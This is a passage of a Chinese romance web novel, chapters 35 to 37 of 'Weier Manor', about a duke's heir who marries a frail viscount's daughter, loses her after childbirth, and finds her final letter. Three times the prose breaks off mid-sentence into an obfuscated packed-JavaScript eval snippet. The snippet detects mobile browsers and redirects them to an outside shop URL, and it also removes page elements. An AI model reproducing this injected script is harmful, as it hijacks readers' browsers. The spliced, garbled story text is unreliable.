更让他头疼的是,埃罗对自己的婚姻大事也漠不关心。无数贵族小姐向他示好,他却总是礼貌地保持距离,从不表现出对任何一位小姐的兴趣。老公爵也曾试图撮合埃罗与其他门当户对的小姐,可他却总是找出各种各样的理由搪塞推辞。在王都社交圈里,埃罗.威尔在贵族小姐中是个谜一样的存在——拥有令人艳羡的家世与容貌,却像个苦行僧般不近女色。 就连埃罗.威尔自己也认为,他此生注定会孤独终老。但他觉得这样也没什么不好,对他来说,能与花草相伴就已经是最大的幸福了,他宁愿一直泡在温室里。 直到那个春天的午后,他的命运终于与另一个人相交了。 皇家植物学会举办了一场年宴,埃罗也在受邀嘉宾之列。 他原本只是例行公事地出席。这种年宴向来没什么意思,借着观赏植物的名头,实际上尽是些无聊的应酬。那些所谓的上流人士只知道欣赏鲜花的鲜妍绚烂,真正懂得植物的却根本没几个。 早些年,埃罗还会盼望这一场植物学会年宴,但现在他早已看透了这类宴会的本质,就变得有些意兴阑珊了。 他慢悠悠地离开拥挤吵闹的人群,晃到一条没什么人的蓝藤□□上逛了一两分钟,又绕过一个小小的花圃,脚步突然顿住了。 花圃的角落里,一个少女正背对着他,踮起脚尖仔细观察一株珍稀的月光兰。少女身着淡紫色长裙,一头瀑布般的银发垂在身后,在阳光下近乎透明。即使天气并不寒冷,她也在外面罩了一件长衫,露出的手指白皙得让人能看到淡青色的血管。 少女似乎察觉到了身后的动静,缓缓转过身来,露出一张精致却及其苍白的脸庞。她的眼睛是罕见的冰蓝色,如同冬日清晨结了一层薄冰的湖面。见到埃罗,她微微怔了一下,随即提起裙摆行了一个标准的屈膝礼。 “抱歉,我不知道这里有人。”她的声音轻柔,带着些许拘谨。 埃罗这才意识到自己已经盯着对方看了太久,他连忙回礼,“不,您无需道歉,是我打扰了您赏花的雅兴。” 一阵微风吹过,蓝藤花架上飘下几片花瓣,纷纷扬扬地在半空中飞舞。少女伸手接住一片,唇角不自觉扬起温柔的弧度。 “这蓝藤花开得真好。”她轻声说,“我家的书房窗外也有一个蓝藤花架。每到这个季节,父亲总会让人把窗户打开,让花香飘进来。” 埃罗注意到她说话时,总会不自觉地用指尖轻抚花瓣,动作轻柔得像是怕惊扰了它们。 “您似乎很熟悉这些花。” “家母生前最爱蓝藤花。”少女的目光柔和了些许,“我从小就学着母亲在花架下读书,习惯了它们的陪伴。” 两人慢慢地沿着□□漫步。少女穿着繁复笨重的长裙,神态却天真烂漫,她对于花草的养护有自己的一套独特见解,提出的某些观点甚至比埃罗还要专业。 两人相谈甚欢,不知不觉走到了□□尽头,来到了一处人造喷泉附近。 在潺潺的流水声中,埃罗终于忍不住开口问道:“请原谅我的冒昧,我是埃罗.威尔,还未请教您的名字?” 少女停下脚步,转身面对他。阳光透过花叶的缝隙,在她银色的长发上撒下斑驳的光点。 “薇拉.奥尔格斯,子爵之女。”她微微颔首,“很荣幸认识您,威尔先生。” 埃罗注意到薇拉在阳光下不自觉地眯起眼睛,额角渗出细密的汗珠。他不动声色地挪了半步,恰好为她挡住了直射的阳光,刚做完这一切,他自己都不由得吃了一惊,他从前可绝不是一个会如此在意别人感受的人。 但惊诧只是一瞬间,他发觉自己并不讨厌如今这种感觉。 “薇拉小姐,”他温和地说,“如果您不介意,前面凉亭里的蓝藤花开得正好,或许比这里更适合交谈。” 薇拉感激地看了他一眼:“您真细心。” 他们走向被蓝藤花笼罩的凉亭。淡蓝色的长花穗垂落如瀑,在微风中轻轻摇曳。薇拉在一张长椅上坐下,拿出手绢轻轻擦净汗珠,明显松了口气。 “其实我很少参加这样的宴会,我的身体经受不了长时间的行走和社交。”她轻声坦白,“但听说今年植物学会引进了不少新品种……” “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17039448|194673||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 比如那株月光兰?”埃罗在她对面坐下。 薇拉的眼睛顿时亮了起来,“您也注意到它了?我从未见过品相如此完美的月光兰,就连叶片上的银斑都……” 她突然停下来,有些不好意思地低下头,面颊微微泛红,“抱歉,我一说起植物就停不下来,希望没有惹您不快。” “请继续说下去。”埃罗真诚地说,“我已经很久没遇到能这样畅谈植物的人了。” 凉亭里,两人的交谈声与蓝藤花的香气交织在一起。当宴会结束的钟声响起时,他们惊讶地发现时间竟然过得如此之快。 “希望以后还能与您交流植物方面的心得。”埃罗送薇拉回到主厅时说道。 薇拉从手袋中取出一本小巧的笔记本,快速写下一行字,然后将那张纸撕下来递给他,有点窘迫地说:“这是子爵府的地址。下周我们的温室会新到一批来自东方的兰花,如果您愿意前来的话,我将不胜感激。” 埃罗郑重地接过纸条,看着薇拉在侍从的陪伴下离去。掌中的纸条还带着淡淡的蓝藤花香,就像这个下午的邂逅,美好得让人留恋。 他站在原地,直到那个银发的身影消失在转角,才小心地将纸条收进胸前的口袋。 一周以后,埃罗如约站在了奥尔格斯子爵府门前,手里紧握着那张已经有些折痕的纸条。子爵府比他想象的要简朴许多,但花园却打理得异常精致,显然经过了精心的培育。 一位年长而和蔼的管家问过他的来意后,将他引至温室。推开玻璃门的瞬间,湿润温暖的空气扑面而来,夹杂着各种兰花的奇异芬芳。 薇拉正站在一株开着淡黄色小花的兰草前,专注地记录着什么。她今天只穿了一条款式简单的浅绿色长裙,不施粉黛,不配首饰,银发随意地挽在脑后,比在宴会上时更显轻松自在。 “您来了。”她抬头看见他,眼中浮现出真切的笑意,“正好,这株‘金钗兰’刚刚绽放,我想您一定不愿错过它最美的时刻。” 他们并肩穿行在温室中,薇拉如数家珍地介绍着新到的品种:“这是‘凤凰兰’,来自东方群岛,据说只在雨季来临前开花;那株是‘月光美人’,与月光兰是近亲,但花期更长……东方还有一种叫银叶草的神奇植物,像星辰一样绚烂美丽,只可惜我们用尽办法,也没能成功将银叶草运回来。”薇拉轻轻叹了口气,“银叶草太脆弱了,似乎也不适应这里的气候,很难成活。” 当薇拉谈论植物时,她整个人都会焕发出一种独特的光彩,她不仅了解每一种花的习性和产地,还能说出与之相关的传说和典故。 “您对植物的了解真令人惊叹。”他由衷地说。 薇拉的笑容淡了些,手指轻轻抚过一株兰草的叶片,带着点不易察觉的哀伤,“这些都是母亲教我的。她曾说,每一株植物都有独属于自己的一个故事,等待懂得它的人来聆听。” 她转向他,眼中闪过一丝犹豫,但停顿了片刻后,她还是选择了开口:“其实……我邀请您来,除了赏花,还有一事相求。” 36. 第36章 威尔庄园(六) 埃罗听了薇拉的话,不由微微一愣,他彬彬有礼地对她点了下头,“您请讲。” “我听说您不仅是植物学会的会员,还在皇家图书馆进行植物图谱的编纂工作。”薇拉引着他走向温室深处的一个工作台,上面摊开着几本厚重的笔记和草图,“我母亲生前一直在编写一本关于蓝藤花及其亲缘植物的专著,可惜直到她去世也未能完成。”薇拉顿了顿,平复了一下自己有些激动的情绪,继续说下去:“我想继续她的工作,但有些资料对我来说实在难以获取……” 埃罗翻看着那些笔记,内心震撼不已。这些手稿记录之详实,插图之精美,远胜过他之前见过的许多正式出版物——薇拉的母亲显然是一位极具学识的植物专家。 “我十分愿意提供帮助。”他说,“事实上,图书馆最近收到了一批刚刚破译成功的古代植物志,其中就有关于蓝藤花属的记载。如果允许的话,我可以为您申请查阅权限。” 薇拉的眼睛顿时亮了起来:“真的吗?我实在是感激不尽。” 当埃罗准备告辞时,薇拉从工作台上取下一本薄薄的小册子递给他:“这是母亲关于蓝藤花杂交育种的笔记抄本,我想……您也许会感兴趣。” 埃罗接过那本装帧精美的小册子,指尖触碰到细腻的皮革封面,上面还残留着薇拉手掌的温度。他郑重地将其收好,并向薇拉保证会仔细研读。 离开子爵府时,夕阳正好。埃罗坐在回程的马车上,迫不及待地翻开那本笔记。娟秀的字迹间夹杂着精细的植物素描,每一页都凝聚着一位女性学者毕生的心血。更令他惊讶的是,笔记中提出的几个育种理论,甚至比他正在编纂的官方植物志还要超前。 接下来的几周,埃罗频繁出入皇家图书馆。他不仅为薇拉申请到了珍贵古籍的阅览权限,还特意整理了相关领域的最新研究成果。每次会面,他们都会在图书馆僻静的阅览室里度过整个下午,摊开满桌的资料,轻声但热烈地讨论着每一个学术细节。 有时埃罗会带来一些罕见的植物标本,薇拉则回赠以自己亲手绘制的解剖图。他们发现彼此在学术上有着惊人的默契——埃罗擅长宏观的生态观察,薇拉则精于微观的结构分析。 一个雨天的午后,他们正埋头整理资料,薇拉突然轻声说:“母亲若是知道她的研究能继续下去,一定会很欣慰。” 埃罗抬起头,看见雨滴在玻璃窗上划出蜿蜒的痕迹,映得薇拉的侧脸格外柔和。这一刻他忽然意识到,自己帮助薇拉做这件事情的初衷,早已不仅仅是帮助一位学者完成遗愿了。 “下周我要去南部的植物园考察,”他状似随意地说,“听说那里新培育出了其他颜色的蓝藤花变种,如果您有兴趣,我可以为您申请一个陪同席位。” 薇拉的眼睛瞬间亮了起来,但随即又黯淡下去:“父亲不会同意我出远门的。” “我可以把样本带回来。”埃罗立即说,“我还会绘制详细的生长记录。” 他说到做到。一周后从南部归来时,他的行囊里不仅装着异色蓝藤花的标本,还有厚厚一叠观察笔记和数十张素描。当他把这些摊开在薇拉面前时,她惊喜得几乎说不出话来。 “这太珍贵了……”她小心翼翼地抚摸着那些标本,“如此完整的标本记录,实在是太珍贵了……” 埃罗望着她专注的神情,面上不由浮起了淡淡的微笑,这一趟奔波劳顿,在此刻仿佛被赋予了全新的意义。 日子在书香与花香中悄然流逝。埃罗发现自己在图书馆中度过的时间越来越长,而薇拉苍白的面容上也渐渐多了几分血色。 某个春日的黄昏,他们终于完成了蓝藤花属资料的初步整理。当埃罗合上最后一本笔记时,夕阳正好透过彩绘玻璃,在书页上投下斑斓的光影。 “如果没有您的帮助,我可能永远都看不到这些珍贵的资料。”薇拉轻声说,指尖慢慢拂过摆放整齐的手稿。 埃罗注视着她在金色阳光中微微闪动的银色睫毛,突然发现自己的心跳有些失常,“能与您共同完成这项研究,是我的荣幸。”他一晃神,这句话就脱口而出。 这句话让两人都愣了一下。薇拉的脸颊泛起了淡淡的红晕,低下头没有作声。 从那天起,他们的相处悄然发生了变化。埃罗开始在见面时带一些小巧的礼物:有时是一枚罕见的落叶,有时是一本装帧雅致的诗集。薇拉则会为他准备茶点,并记得他对口味的偏好,端上不加糖的红茶。 有一次,埃罗偶然提到想寻找一种特殊的苔藓来搭配新培育的蓝藤花。三天后,薇拉递给他一个精致的水晶盒,里面正是他想要的那种苔藓,养护得恰到好处。 “你是怎么找到的?”他惊讶地问,这种苔藓对生长环境的要求极为严苛,想要培育成功必定要耗费无数心血。 薇拉只是微微一笑:“我恰好认识一位擅长培育苔藓的老花匠。” 埃罗这才意识到,这个看似柔弱的女孩为了他的随口一提,不知费了多少心思。 日子就这样一天天流淌下去,直到一封来自威尔公爵的急信,打破了这段令人安心的宁静时光。信中的措辞严厉,要求埃罗立即回府商议“要事”。 埃罗心下了然,他与薇拉往来密切的消息,终究还是传到了父亲耳中。 威尔公爵府的书房里,气氛凝重得令人窒息。老公爵背对着埃罗站在窗前,手中拄着那根象征家族权柄的黑檀木手杖。 “我听说你最近和奥尔格斯子爵的女儿走得很近。”老公爵的声音冷得像冰。 埃罗深吸一口气,“是的,父亲。我正准备向您禀报,我打算向薇拉小姐求婚。” “荒唐!”手杖重重敲击在地板上,发出沉闷的响声,“你知不知道自己在说什么?一个子爵的女儿!还是个体弱多病的……” “薇拉是我见过的最聪慧坚强的女子。”埃罗打断父亲,声音平静却坚定,“她的学识足以让皇家学院的学者汗颜。” 老公爵猛地转身,眼中燃烧着怒火:“你以为我在意的是这个?威尔家族的继承人,应该娶一个门当户对的贵族小姐,而不是一个……” “而不是一个真正懂我的人?”埃罗第一次直视父亲的眼睛,“父亲,您和母亲不也是因为相爱才结合的吗?” “那不一样!你母亲是侯爵千金!”老公爵的脸因愤怒而涨红,“你知道现在外面都在怎么说吗?说威尔家的继承人被一个病弱的子爵之女迷了心窍!” 埃罗沉默片刻,缓缓跪了下来,这个举动让老公爵愣住 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17039449|194673||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了。 “父亲,我从未求过您什么。”埃罗的声音有些发颤,“但这一次,我请求您对我们的祝福。没有薇拉,再显赫的联姻对我来说都将毫无意义。” 书房陷入一片死寂。老公爵注视着跪在地上的儿子,看着他眼中前所未有的坚决,突然感到一阵无力。 但家族沉甸甸的责任又让他硬起心肠:“如果我说不呢?” 埃罗抬起头,眼中闪过一丝痛楚,却依然坚定:“那我只能放弃继承权,脱离威尔家族。” “你!”老公爵举起手杖,却始终没能扔出去,他最终疲惫地挥挥手,声音有些嘶哑:“出去。在你清醒之前,我不想再见到你。” 埃罗站起身,向父亲深深行礼,转身离开书房。在关门的那一刻,他听见了父亲苍老的声音:“你会毁了威尔家族三百年的基业……” 埃罗没有回头,他坚定地走了出去。 这对父子之间的对抗持续了整整一年,老公爵冻结了埃罗的所有资产,收回了他名下的庄园和领地,试图用经济压力迫使儿子回头。 但埃罗没有屈服。他搬出了家族府邸,暂住在植物学会提供的一间小公寓里。曾经锦衣玉食、仆从环绕的公爵继承人,如今只能靠着微薄的编纂收入维持生计。 消息很快传遍了整个贵族圈。茶会上、舞厅里,人人都在议论这桩“丑闻”。有人说埃罗被蛊惑了心智,有人嘲笑威尔家族出了个不肖子孙,更有人打赌这个娇贵的公子哥撑不过三个月。 但这些流言蜚语都没能动摇埃罗。他依然每天去图书馆与薇拉会面,只是现在他只能步行前往,而不是向往常一样用豪华马车代步。 薇拉得知这一切后,泪如雨下:“你不该为我付出这么多……” 埃罗轻轻握住她的手:“为了你,一切都值得。” 转折发生在一个飘雪的冬日。老公爵突发急病卧床不起,家族医生束手无策。就在众人慌乱之际,埃罗带着薇拉闯入府中。 “让我试试。”薇拉不顾众人异样的目光,从携带的药箱中取出几株晒干的草药,“这是我母亲留下的配方,对治疗急症有奇效。” 她亲自煎药、喂药,守在病榻前整整三天。当老公爵终于转危为安时,他看着薇拉熬红的双眼,第一次沉默了。 康复后的老公爵依然没有松口,但不再明令禁止埃罗与薇拉来往。 又经过了半年的拉锯,在老管家和几位世交的劝说下,老公爵终于勉强点头。婚礼办得十分简单,在一个家族小教堂举行,没有盛大的庆典,也没有满堂的宾客。 当埃罗为薇拉戴上那枚传承了三百年的威尔家族戒指时,阳光正好穿过玫瑰窗,在她银色的长发上投下圣洁的光晕。这一刻,所有争议与非议都显得那样微不足道。 这对新婚夫妇搬进了威尔庄园——这是老公爵最后的让步,也是他无声的认可。虽然在贵族圈里仍然有不少窃窃私语,但埃罗和薇拉毫不在意。他们在庄园里建起更大的温室,收集来自世界各地的奇花异草。埃罗甚至还四处寻访能人异士,终于把薇拉心心念念的银叶草移植进了庄园。 他们的爱情,就像他们精心培育的那些美丽植物,在非议与挫折中生根发芽,最终开出了超越门第的绚烂花朵。 37. 第37章 威尔庄园(七) 婚后的日子如同他们温室里蓬勃生长的植物,充满了生机与希望。埃罗陆续引进了数百种珍稀植物,而薇拉用她精湛的绘画技艺,为每一种植物都留下了精美的图谱。威尔庄园在他们的潜心经营下,成为了远近闻名的植物圣地,连最难以存活的银叶草,也渐渐成了庄园里随处可见的景致。 埃罗甚至还在多次试验配平以后,找到了银叶草与其他香料的最佳混合比例,创造出了一种奇异的香料,他亲切地用爱妻的名字为香料命名——“薇拉”。 叫做“薇拉”的香料,确实如同它的名字一般独特——初闻是银叶草清冷的幽香,如同月下薄雾;稍待片刻,鼻端就会泛起蓝藤花温柔的甜韵;最后留在空气中的,是几不可查的苔藓气息,带着雨后森林的湿润感。 正如薇拉本人,初见时带着疏离的清冷,熟识后才会发现她柔软的内心,而那份深植于灵魂的坚韧,则如同苔藓般静默而顽强。 香料上市的第一天,王都最大的香水店门口就排起了长队。贵妇们为这独一无二的香气着迷,诗人们写下了无数赞美的诗篇,就连王室都派人前来采购。 威尔庄园的“薇拉”,成了整个社交季最热门的话题。 竞争对手们千方百计想要破解配方。他们买来成品反复分析,派人潜入庄园打探,甚至开出天价想要收买庄园内的仆从,但都无功而返——银叶草只在威尔庄园的特定土壤中才能散发出那种独特的冷香,这是任何实验室都无法复制的秘密。 在一个温暖的午后,薇拉靠在温室内的长椅上,看着工人们将新一批香料装箱。阳光透过玻璃顶棚,在她银色的长发上跳跃。 “听说连皇后和公主都在用以你为名的香水。”埃罗在她身边坐下,轻轻在她肩头披上披肩。 薇拉苍白的脸上浮现出淡淡的笑意,她小心地将手放在凸起的小腹上,慢慢地说:“她们爱的不过是一种奇异的香气,而我知道,这里面藏着更珍贵的东西。” 她指的是埃罗在配方中融入的心意,那是只有他们才懂的情感与回忆。 每一瓶“薇拉”香水,都是他们爱情的诗篇。 “等春天来了,”埃罗握住她冰凉的手,“我带你去南方的银叶草原产地看一看,那里很美,我们可以在草地上扎帐篷,还能观赏夜里的流星,你一定会喜欢的。” 薇拉靠在他肩上,笑出了声,她轻声说:“好。” 那时他们都以为,这样的幸福会一直持续下去。但谁也不知道,命运的寒冬正在悄然逼近。 冬日的第一场雪来得格外早。就在香料工坊忙着准备新年订单时,薇拉的产期突然提前到来了。 产房里的炭火烧得再旺,也驱不散刺骨的寒意。埃罗在门外焦急地来回踱步,听着里面断断续续的呻吟声,每一声都像尖锐的刀子扎在他心上。接生婆进出时凝重的脸色,侍女端出的一盆盆血水……这些都让他的恐惧不断加剧。 “夫人体力不支了……”医生压低的声音从门缝里漏出来,“可能要做出选择……” 埃罗猛地推开门,看见薇拉正躺在产床上,银发被汗水浸透,湿漉漉地贴在额前,脸色白得吓人。她看见他,勉强扯出一个微笑,气若游丝:“保孩子……” “不!”埃罗扑到床边跪在地上,紧紧握住薇拉的手,几乎泣不成声,“不,薇拉,不!如果只能保住一个人,一定要保住你!我不能失去你!” 埃罗被助产士劝到了门外,他无力地贴着墙面滑坐在地上,感受着地面的寒意顺着脊椎骨传遍全身,他打了个抖,缓缓将脸埋进手心里。 也许是他绝望的祈祷终于起了作用,在黎明破晓时分,一声微弱的啼哭终于从产房中响起,是个女孩,她有着和母亲一样美丽的银色头发。 但薇拉的情况却不容乐观。产后出血虽然止住了,她却持续高烧不退,整日昏睡。埃罗寸步不离地守在床边,只能眼睁睁地看着妻子日渐消瘦,可他却无能为力。 等到薇拉终于可以下床稍稍走动的时候,春天已经过去了大半。她静静地抱着女儿坐在温室里,阳光照在她近乎透明的皮肤上,仿佛随时都会消散。 “看,她的眼睛多像你。”薇拉轻声说,指尖轻轻拂过女儿的脸颊,“想好为她取什么名字了吗?” “叫奥罗拉,好吗?”埃罗温柔地望着妻子,掩藏住眼中的悲伤,“这是黎明女神的名字,也代表着希望和新的开始。” “奥罗拉……很美的名字,我喜欢。”薇拉微笑着,戳了戳奥罗拉白皙的小脸,“你是我们的黎明和希望。” 埃罗心如刀割,他从妻子身上看到了生命正在缓慢流逝的痕迹——那双曾经闪烁着智慧光芒的冰蓝色眼眸,如今蒙上了一层挥之不去的疲惫;那为他绘制过无数精美植物图谱的手,现在连抱起孩子时都在微微颤抖。 最让他痛心的是,薇拉开始悄悄整理起自己的研究手稿,像是在为离开做准备。她点起蜡烛,夜以继日地将未完成的植物志分门别类,在每一册的扉页上都写下了详细的注解。 “这些留给奥罗拉,”她说,“等她长大了,也许会感兴趣。” 埃罗看着挚爱的生命如同沙漏里的沙粒,随着时间的流逝飞速滑过眼前,可他却连一粒沙都抓不住。他请来全国最好的医生,试遍了所有珍惜药材,但薇拉的身体就像一盏即将燃尽的油灯,无论添加多少灯油,都阻止不了逐渐黯淡的光芒。 那个曾经在植物学会年宴上让他一见倾心的银发少女,正在一点点离他而去。 奥罗拉满月后的第七天,薇拉在睡梦中平静地离开了,她没能遵守约定,陪埃罗去看一看生长在南部原产地的银叶草。 那是个雾气弥漫的清晨,埃罗像往常一样端着早餐走进卧室,却发现妻子再也没有醒来。她躺在晨曦中,银色的长发铺散在枕头上,嘴角还带着一丝若有若无的微笑,仿佛只是陷入了甜美的梦境里。 葬礼在三天后举行,天色阴沉,细雨绵绵。埃罗抱着尚在襁褓中的奥罗拉,站在新挖的墓穴前。棺木上铺满了银叶草和蓝藤花——这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17039450|194673||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是薇拉生前最爱的两种植物,是他们忠贞爱情的见证。 来吊唁的人不多。老公爵拄着手杖站在远处,神情复杂;几个植物学会的老朋友红了眼眶;子爵府的老管家哭得不能自已。 当棺木缓缓降入墓穴时,小奥罗拉突然哭了起来。她还不懂生命与死亡的意义,但她似乎感受到了,自己永远地失去了什么很重要的东西。响亮的哭声在寂静而肃穆的墓园里回荡,像是在替父亲发出心中的悲鸣。 埃罗轻轻摇晃着女儿,目光却始终没有离开那个逐渐被泥土覆盖的棺木。他想起自己第一次见到薇拉时,她站在蓝藤花架下转身的模样;他想起了他们在图书馆度过的那些午后,阳光透过花窗照在他们脸上;他想起了薇拉将那种特殊苔藓递给他时,那种带着点欢喜和羞涩的笑容…… 现在,这一切都结束了。 葬礼结束后,埃罗温和有礼地送别了所有前来吊唁的亲友。他表现得是那样得体,从表面上甚至完全看不出他的悲伤,但只有埃罗自己知道,有一部分的他,早就彻底随着薇拉的离去而死去了,如今只有一个名为“埃罗”的空壳,浑浑噩噩地生活在这世间。 他抱着奥罗拉回到空荡荡的庄园,这里的每个角落都残留着薇拉的痕迹:她最常坐的那把藤椅、书桌上未完成的手稿、衣柜里还挂着她的衣裙、空气中飘散着的“薇拉”香水味道…… 他如同一个游魂,漫无目的地在庄园中闲逛,最后,不知不觉地停在了书房门口。 奥罗拉不知何时止住哭声睡着了,恬静的呼吸声清浅温柔。埃罗犹豫片刻,轻手轻脚地将奥罗拉放进卧室的婴儿床里,然后推开书房的门,走了进去。 摆放整齐的书稿下,压着一封信。信封上是薇拉娟秀整齐的字迹:致亲爱的埃罗。 埃罗的手开始微微颤抖,他慢慢将信封从书稿下面抽出来,抚平了上面微小的几丝褶皱。整个世界的声音都远去了,只剩下心脏在胸腔里沉重地跳动。 他认得这个信封。 那是去年秋天,他们一起在王都的一家店里挑选的。薇拉当时拿起这叠带着淡淡纹理的蔷薇色信纸,笑着说这颜色像极了晚霞映照下的蓝藤花瓣。信封此刻在他指尖下,确实呈现出一种温暖的、介于淡粉与淡紫之间的色泽,边缘因被书稿压覆已久,留下了几道细微却清晰的折痕,像时光不经意间划下的伤口。 在书稿下存放了这些时日,信封不可避免地吸附了周围的气息,浸染了书房里淡淡的墨香和旧书的味道。封口处精心地封着一块深红色的火漆。 火漆上的印文并非威尔家族的家徽,也不是任何代表身份地位的图样,而是一枚精心绘制的、栩栩如生的银叶草叶片——叶脉清晰,边缘呈现出优雅的锯齿状。这是他当年为向她求婚,特意找工匠定制的私人印信。 火漆凝固得十分完美,光滑而坚硬,在窗外透进来的稀薄光线下,泛着暗沉而温润的光泽,像一颗凝固的深红色泪滴。 埃罗终于深吸一口气,小心翼翼地拆开了火漆。